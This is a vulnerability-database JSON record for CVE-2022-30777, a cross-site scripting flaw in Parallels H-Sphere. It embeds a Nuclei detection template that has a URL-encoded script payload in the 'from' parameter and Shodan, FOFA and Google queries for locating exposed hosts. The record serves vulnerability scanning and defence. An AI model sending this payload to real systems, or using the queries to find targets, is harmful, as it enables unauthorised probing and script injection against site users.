{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-30777/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-30777/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-30777/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-30777/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-30777/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-30777/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2022-30777"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2022-30777"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-30777.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2022-30777\n\ninfo:\n  name: Parallels H-Sphere 3.6.1713 - Cross-Site Scripting\n  author: 3th1c_yuk1\n  severity: medium\n  description: |\n    Parallels H-Sphere 3.6.1713 contains a cross-site scripting vulnerability via the index_en.php 'from' parameter.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.\n  remediation: |\n    Apply the latest security patch or upgrade to a newer version of Parallels H-Sphere to mitigate the XSS vulnerability.\n  reference:\n    - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59\n    - https://en.wikipedia.org/wiki/H-Sphere\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-30777\n    - https://medium.com/%40bhattronit96/cve-2022-30777-45725763ab59\n    - https://github.com/ARPSyndicate/cvemon\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2022-30777\n    cwe-id: CWE-79\n    epss-score: 0.02296\n    epss-percentile: 0.83328\n    cpe: cpe:2.3:a:parallels:h-sphere:3.6.2:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: parallels\n    product: h-sphere\n    shodan-query:\n      - title:\"h-sphere\"\n      - http.title:\"h-sphere\"\n      - http.title:\"parallels h-sphere\"\n    fofa-query:\n      - title=\"h-sphere\"\n      - title=\"parallels h-sphere\"\n    google-query:\n      - intitle:\"h-sphere\"\n      - intitle:\"parallels h-sphere\"\n  tags: cve,cve2022,parallels,hsphere,xss,vuln,vkev\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'\n      - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - '<TITLE>\"><script>alert(document.domain)</script>'\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a004830460221009cf7ef9f18af697e09daa8dd5f8b88c4619d358a5166c45abe71e8f09aa3c7f40221009dec3455e7904d388bce5501c2db15cd0e174482d5298dad0ed9ed5b74c59770:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-30777"}